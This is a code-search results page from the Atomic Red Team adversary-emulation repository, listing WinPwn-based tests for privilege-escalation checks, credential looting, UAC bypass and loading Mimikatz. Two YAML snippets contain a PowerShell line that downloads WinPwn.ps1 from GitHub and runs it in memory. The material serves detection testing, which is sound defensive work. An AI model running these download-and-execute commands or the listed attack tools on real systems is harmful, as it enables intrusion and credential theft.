


winpwn

☐ Case sensitive ☐ Regular expression ☐ Whole words

Repository

 redcanaryco/atomic-red-team

Path

Filter paths

 atomics 51

Language

- ☐ Markdown 25
- ☐ YAML 23
- ☐ CSV 2
- ☐ JSON 1

Showing 1 - 10 out of 51 results

Reset filters

DefaultExtended

 redcanaryco/atomic-red-team  
atomics/T1082/T1082.md54 matches

```
37 - [Atomic Test #14 - WinPwn - winPEAS](#atomic-test-14---winpwn---winpeas)
38
39 - [Atomic Test #15 - WinPwn - itm4nprivesc](#atomic-test-15---winpwn---itm4nprivesc)
40
41 - [Atomic Test #16 - WinPwn - Powersploits privesc checks](#atomic-test-16---winpwn---powersploits-privesc-checks)
42
43 - [Atomic Test #17 - WinPwn - General privesc checks](#atomic-test-17---winpwn---general-privesc-checks)
```

 redcanaryco/atomic-red-team  
atomics/T1552.001/T1552.001.md36 matches

```
23 - [Atomic Test #7 - WinPwn - sensitivefiles](#atomic-test-7---winpwn---sensitivefiles)
24
25 - [Atomic Test #8 - WinPwn - Snaffler](#atomic-test-8---winpwn---snaffler)
26
27 - [Atomic Test #9 - WinPwn - powershellsensitive](#atomic-test-9---winpwn---powershellsensitive)
28
29 - [Atomic Test #10 - WinPwn - passhunt](#atomic-test-10---winpwn---passhunt)
```

 redcanaryco/atomic-red-team  
atomics/T1082/T1082.yaml34 matches

```
182   name: sh
183 - name: WinPwn - winPEAS
184   auto_generated_guid: eea1d918-825e-47dd-acc2-814d6c58c0e1
185   description: Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn
186   supported_platforms:

190     $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
191     iex(new-object
net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
```

 redcanaryco/atomic-red-team  
atomics/Indexes/Indexes-Markdown/windows-index.md66 matches

```
52 - Atomic Test #17: UACME Bypass Method 61 [windows]
53 - Atomic Test #18: WinPwn - UAC Magic [windows]
54 - Atomic Test #19: WinPwn - UAC Bypass ccmstp technique [windows]
55 - Atomic Test #20: WinPwn - UAC Bypass DiskCleanup technique [windows]
56 - Atomic Test #21: WinPwn - UAC Bypass DccwBypassUAC technique [windows]
57 - Atomic Test #22: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key [windows]

184 - Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory [windows]
```

 redcanaryco/atomic-red-team  
atomics/T1552.001/T1552.001.yaml24 matches

```
90     for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
91 - name: WinPwn - sensitivefiles
92   auto_generated_guid: 114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0
93   description: Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
94   supported_platforms:
```

```
99         iex(new-object
net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26
a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
```

 redcanaryco/atomic-red-team  
atomics/T1046/T1046.md 24 matches


```
19 - [Atomic Test #5 - WinPwn - spoolvulnscan](#atomic-test-5---winpwn---spoolvulnscan)
20
21 - [Atomic Test #6 - WinPwn - MS17-10](#atomic-test-6---winpwn---ms17-10)
22
23 - [Atomic Test #7 - WinPwn - bluekeep](#atomic-test-7---winpwn---bluekeep)
24
25 - [Atomic Test #8 - WinPwn - fruit](#atomic-test-8---winpwn---fruit)
```

 redcanaryco/atomic-red-team  
atomics/T1518/T1518.md 19 matches

```
17 - [Atomic Test #4 - WinPwn - Dotnetsearch](#atomic-test-4---winpwn---dotnetsearch)
18
19 - [Atomic Test #5 - WinPwn - DotNet](#atomic-test-5---winpwn---dotnet)
20
21 - [Atomic Test #6 - WinPwn - powerSQL](#atomic-test-6---winpwn---powersql)

```

```
114 ## Atomic Test #4 - WinPwn - Dotnetsearch
115 Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn
```

 redcanaryco/atomic-red-team  
atomics/Indexes/Indexes-Markdown/index.md 66 matches

```
77 - Atomic Test #17: UACME Bypass Method 61 [windows]
78 - Atomic Test #18: WinPwn - UAC Magic [windows]
79 - Atomic Test #19: WinPwn - UAC Bypass ccmstp technique [windows]
80 - Atomic Test #20: WinPwn - UAC Bypass DiskCleanup technique [windows]
81 - Atomic Test #21: WinPwn - UAC Bypass DccwBypassUAC technique [windows]
82 - Atomic Test #22: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry
key [windows]

```

```
278 - Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory [windows]
```

 redcanaryco/atomic-red-team  
atomics/T1555/T1555.md 17 matches

```
17 - [Atomic Test #6 - WinPwn - Loot local Credentials - lazagne](#atomic-test-6---winpwn---loot-
local-credentials---lazagne)
18
19 - [Atomic Test #7 - WinPwn - Loot local Credentials - Wifi Credentials](#atomic-test-7---winpwn-
--loot-local-credentials---wifi-credentials)
20
21 - [Atomic Test #8 - WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords](#atomic-
test-8---winpwn---loot-local-credentials---decrypt-teamviewer-passwords)
```

 redcanaryco/atomic-red-team  
atomics/T1548.002/T1548.002.md 22 matches

```
49 - [Atomic Test #18 - WinPwn - UAC Magic](#atomic-test-18---winpwn---uac-magic)
50
51 - [Atomic Test #19 - WinPwn - UAC Bypass ccmstp technique](#atomic-test-19---winpwn---uac-
bypass-ccmstp-technique)
52
53 - [Atomic Test #20 - WinPwn - UAC Bypass DiskCleanup technique](#atomic-test-20---winpwn---uac-
bypass-diskcleanup-technique)
54
55 - [Atomic Test #21 - WinPwn - UAC Bypass DccwBypassUAC technique](#atomic-test-21---winpwn---
uac-bypass-dccwbypassuac-technique)
```